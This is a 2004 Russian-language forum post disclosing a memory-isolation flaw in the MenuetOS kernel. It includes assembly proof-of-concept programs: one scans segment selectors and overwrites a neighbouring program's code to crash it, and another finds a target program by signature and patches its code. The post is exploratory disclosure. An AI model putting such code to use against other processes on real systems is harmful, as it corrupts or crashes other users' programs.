Автор: Алексей; Дата: 02/08/04; Источник: menuetos.fastbb.ru
Итак, при изучении кода ядра MeOS я обнаружил интересную вещь: все сегменты приложений «сваливаются» в кучу, т.е. в GDT. В результате нет никаких ограничений на то, что приложение «залезет» в память соседней программы, будет там читать и даже ЗАПИСЫВАТЬ данные, затирать участки кода и т.д. Словом, ЛЮБАЯ программа может хозяйничать в адресном пространстве ЛЮБОЙ другой программы как в своем собственном. Это открывает очень большие перспективы в разработке методов взаимодействия приложений, особенно если учесть тот факт, что ошибку эту VT вряд ли теперь исправит: вся логика работы ядра завязана на этой фиче! (Следует отметить, что VT тут не одинок: подобную ошибку в свое время допустила Microsoft в Windows 95).
Итак, для тех кому это интересно.
(Пример см. ниже).
Память в MeOS сегментирована - «нарезана» на отдельные кусочки, СЕГМЕНТЫ. Каждому приложению выделяется свой собственный сегмент (или несколько сегментов), в пределах которых оно может работать почти как захочет. Эти сегменты и составляют адресное пространство приложения. Каждому сегменту соответствует т.н. СЕЛЕКТОР - особое число, что-то вроде номера сегмента. (подробнее - см. документацию). Те сегменты, с которыми может работать программа
определяются только теми селекторами, которые ядро MeOS помещает при запуске программы в регистры cs, ds,ss,fs,gs. Т.е. всё, что нужно сделать для доступа к чужой памяти - записать в эти регистры нужное число-селектор. Но, конечно, не все так просто. Дело в том, что каждый сегмент обладает определенными привилегиями. Часть сегментов, например, принадлежит ядру MeOS. Они привилегированы и попытка загрузить их в сегментные регистры приведет к тому, что MeOS «вырубит» такую программу. Кроме того, далеко не любое число является селектором некоторого сегмента, и попытка загрузить неверный селктор также окончится ринудительным завершением программы. Т.е. перед желающим поработать с памятью соседа встают следующие задачи:
1. Определить программу, с которой он хочет поработать
2. Определить селектор ее сегмента
КАК ЭТО СДЕЛАТЬ (ПРИМЕРЫ).
Вначале разберем простейший пример, я назвал его antip.asm:
Code: Select all
use32
org 0x0
db ’MENUET01’ ;стандартный заголовок
dd 0x01
dd START
dd I_END
dd 0x1000
dd 0x07ff
dd 0x0 , 0x0
START: ;начало
mov ax,ds ;получим в ax селектор
;«родного» сегмента
find_loop: ;цикл поиска
sub ax,1*8 ;двигаемся вниз по селекторам
verw ax ;селектор верен?
jnz find_loop ;нет, идем дальше
;да, чужой селектор
mov es,ax ;помещаем его в es
;ну, теперь затрем чужой код, вызвав глюк
cld
mov ecx,1000h ;1000h
xor esi,esi ;esi=0
xor edi,edi ;edi=0
rep movsd ;да, затрем
I_END:
мы и воспользуемся. verw селектор Эта инструкция проверяет, является ли указанное число корректным селектором, и достаточны ли наши привилегии для того, чтобы осуществлять запись в этот сегмент (но не чтение!). Если все в порядке, verw установит флаг zf. Цикл (jnz) идет до тех пор, пока zf не будет установлен. Когда селектор найден, помещаем его в es. Теперь доступ к найденному адресному пространству открыт! Далее, используя movsd, я просто затираю первые 16384 байта (начиная с нулевого адреса) найденной программы. Излишне говорить, что после этого она «отрубится». Выход из нашего примера не нужен - значение ecx подобрано так, чтобы MeOS «отрубила» и нашу программу тоже.
Итак, скомпилируйте в fasm этот пример и запустите его (удобнее - со включенной доской отладки). Вы увидете как эта программа «вырубится», потянув за собой кого-то еще. Но, конечно, это простейший пример. Теперь рассмотрим случай, когда нам нужно найти в памяти строго определенную программу и выполнить с ней некоторые действия. Прежде всего, текст нашей «подопытной» программы, extst.asm.
Ее-то мы и будем искать в памяти:
Code: Select all
use32
org 0x0
db ’MENUET01’
dd 0x01
dd START
dd I_END
dd 0x100000
dd 0x7fff0
dd 0x0 , 0x0
sign db ’TEST’ ;сигнатура для поиска
START: ;начало
jmp $ ;и сразу же - зависание
red:
call draw_window
still:
mov eax,10
int 0x40
cmp eax,1
je red
cmp eax,2
je key
cmp eax,3
je button
jmp still
key:
mov eax,2
int 0x40
jmp still
button:
or eax,-1
int 0x40
draw_window:
mov eax,12
mov ebx,1
int 0x40
mov eax,0
mov ebx,0*65536+400
mov ecx,100*65536+50
mov edx,0x03ffffff
mov esi,0x805080d0
mov edi,0x005080d0
int 0x40
mov eax,12
mov ebx,2
int 0x40
ret
I_END:
Тут есть лишь 2 важных момента:
1. sign - определяет СИГНАТУРУ - некоторую строку, по которой мы и найдем эту программу в памяти.
2. jmp $ - ассемблерщики знают, что с ЭТИМ сразу после запуска программа намертво зависнет.
Теперь - программа change.asm
Она должна найти нашу «подопытную» и исправить её код так, чтобы она вышла из бесконечного цикла (из зависания):
Code: Select all
use32
org 0x0
db ’MENUET01’
dd 0x01
dd START
dd I_END
dd 0x1000
dd 0x07ff
dd 0x0 , 0x0
START: ;начало
mov bx,ds ;получить «родной» селектор
and bx,0111b ;вычислить 1-й селектор
mov ecx,2000h ;кол-во селекторов
find_loop: ;цикл поиска
add bx,1*8 ;вычислить селектор
dec ecx ;счетчик цикла
jz exit_appl ;селекторы кончились,выйти
verw bx ;запсь возможна?
jnz find_loop ;нет, ищем дальше
verr bx ;чтение возможно?
jnz find_loop ;нет, ишем дальше
;найдено!
mov fs,bx ;получим доступ к сегменту
cmp dword [fs:24h],’TEST’ ;поищем сигнатуру
jne find_loop ;нет сигнатуры, ищем дальше
;найдена подопытная!
mov word [fs:28h],9090h ;исправим ее код
exit_appl: ;и выйдем.
mov eax,-1
int 40h
I_END:
P.S.: Я сейчас как раз готовлю обзорную статью по этой фиче ядра. То, что приведено здесь - простейшие примеры, а ведь так можно, например, получать информацию о программах и даже (над чем я сейчас и работаю) вызывать процедуры, содержащиеся в чужом коде! (чем не DLL?) Хотелось бы прочитать Ваши комментарии к этому сообщению.
С уважением, Алексей.